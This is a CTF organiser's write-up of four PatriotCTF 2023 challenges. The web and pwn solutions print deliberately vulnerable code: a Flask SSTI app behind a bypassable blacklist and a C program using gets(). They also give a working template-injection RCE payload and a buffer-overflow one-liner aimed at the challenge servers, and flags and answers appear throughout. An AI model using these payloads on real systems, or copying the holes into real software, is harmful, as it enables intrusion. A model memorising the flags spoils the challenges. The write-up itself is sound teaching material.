PatriotCTF 2023
This year, we (Competitive Cyber at Mason) hosted PatriotCTF 2023. This was a CTF that was designed to be a bit more beginner friendly, but still have some challenges that would be fun for more experienced players. I created 4 challenges for this CTF, and I will be writing up the solutions for them here.
Challenges
[Web] - Pick Your Starter
Description
No one seems to be able to guess my favorite animal… Can you?
Solution
This is a decently simple SSTI challenge with a blacklist, here is the source code for the app.py
file:
from flask import Flask, render_template, render_template_string
app = Flask(__name__)
app.static_folder = 'static'
starter_pokemon = {
"charmander" : {
"name": "Charmander",
"type": "Fire",
"abilities": ["Blaze", "Solar Power"],
"height": "0.6m",
"weight": "8.5 kg",
"description": "Charmander is a Fire-type Pokémon known for its burning tail flame.",
"picture": "https://assets.pokemon.com/assets/cms2/img/pokedex/full/004.png"
},
"bulbasaur" : {
"name": "Bulbasaur",
"type": "Grass/Poison",
"abilities": ["Overgrow", "Chlorophyll"],
"height": "0.7m",
"weight": "6.9 kg",
"description": "Bulbasaur is a dual-type Grass/Poison Pokémon known for the plant bulb on its back.",
"picture": "https://archives.bulbagarden.net/media/upload/f/fb/0001Bulbasaur.png"
},
"squirtle" : {
"name": "Squirtle",
"type": "Water",
"abilities": ["Torrent", "Rain Dish"],
"height": "0.5m",
"weight": "9.0 kg",
"description": "Squirtle is a Water-type Pokémon known for its water cannons on its back.",
"picture": "https://static.pokemonpets.com/images/monsters-images-800-800/7-Squirtle.webp"
},
}
def blacklist(string):
block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"]
for item in block:
if item in string:
return True
return False
@app.route('/')
def index():
render = render_template('index.html')
return render_template_string(render)
@app.route('/<pokemon>')
def detail(pokemon):
pokemon = pokemon.lower()
try:
render = render_template('pokemon_name.html', data=starter_pokemon[pokemon])
return render_template_string(render)
except:
if blacklist(pokemon):
return render_template('error.html')
render = render_template('404.html', pokemon=pokemon)
return render_template_string(render)
if __name__ == '__main__':
app.run(debug=True)
You can see that there is a blacklist function that will block any input that contains any of the characters in the block
list. However, if you look at the blacklist function, you can see that it does not block the .
character. We can use this to our advantage to get RCE.
To do this, we can use the following payload: http://chal.pctf.competitivecyber.club:5555/%7B%7Burl_for.__globals__.os.__dict__.popen(request.args.file).read()%7D%7D?file=cat%20../flag.txt
. This will allow us to execute the cat /flag.txt
command on the server. We can then use this to read the flag file: PCTF(wHOS7H47PoKEmoN)
.
[pwn] - guessinggame
Description
No one seems to be able to guess my favorite animal… Can you?
Solution
This is a pretty simple pwn challenge, you are given a binary that asks you to guess the favorite animal of the creator. If you guess correctly, you oddly still don’t get the flag. Here’s why:
Looking at the original source for the binary:
#include <stdio.h>
#include <string.h>
void outputFlag() {
char flag[35];
FILE* pctfFlag = fopen("flag.txt", "r");
if (pctfFlag == NULL) {
printf("Unable to find flag.txt :(");
} else {
fgets(flag, 35, pctfFlag);
printf("%s", flag);
}
fclose(pctfFlag);
}
int check(){
char input[300];
char favAnimal[8] = "Giraffe";
int priv = 0;
printf("Input guess: ");
gets(input);
if(strcmp(input, favAnimal)) {
printf("ERRR! Wrong!\n");
}
else {
printf("That's not my favorite animal... I promise!\n");
}
if(priv) {
printf("I wasn't able to trick you...\n");
outputFlag();
}
}
int main(){
printf("Hello there, friend! Can you guess my favorite animal?\n");
check();
return 0;
}
We can see that the check function is where the comparison is made, and if we guess correctly, we get the message That's not my favorite animal... I promise!
. However, if we look at the check function, we can see that there is a variable called priv
that is set to 0. If we can somehow set this to 1, we will get the flag.
To do this, we can use a buffer overflow. If we input a string that is longer than 300 characters, we will overflow the buffer and overwrite the value of priv
. We can use python to do this for us:
python3 -c "print('pctf'*76)" | nc chal.pctf.competitivecyber.club 9999
[rev] - Wing_it
Description
I’m just gonna wing it Unfortunately, due to some technical issues we had to take this challenge down at the beginning of the CTF and were not able to get it back up in time. I will be releasing the challenge and solution here.
Solution
You are provided a binary that you must reverse called wing_it.
You were asked to answer four trivia questions, the last of which did not fully give you the question needing you to reverse the binary in order to get it.
The correct solution for each question is as follows:
- the Concorde!
- duh it’s the Vin Fiz Flyer
- AMeriCan aiRLiNEs
- 100298
[misc] - Uh Oh!
Description
Uh Oh! While trying to add passwords to my wordlist, I accidentally added my own phone number! Can you tell me what line it’s on? https://en.wikipedia.org/wiki/North_American_Numbering_Plan#Modern_plan Format: PCTF{linenumber_phonenumonlynumbers}
Solution
This was a pretty simple regex challenge, if you take a look at the wikipedia link provided, you can see that we are spefically looking for a number in the format (NPA) NXX-XXXX
.
If you adjust your regex accordingly, and run it against the provided wordlist, you will get the flag PCTF{7731484_4043037283}
.
I used the regex: ^[(][0-9]{3}[)][[:space:]][0-9]{3}[-][0-9]{4,6}$
Final command: grep -E "^[(][0-9]{3}[)][[:space:]][0-9]{3}[-][0-9]{4,6}$" -n rockyou.txt
Conclusion
This was a really fun CTF to create, and I hope you enjoyed playing it! If you have any questions, feel free to reach out to me on any of my socials.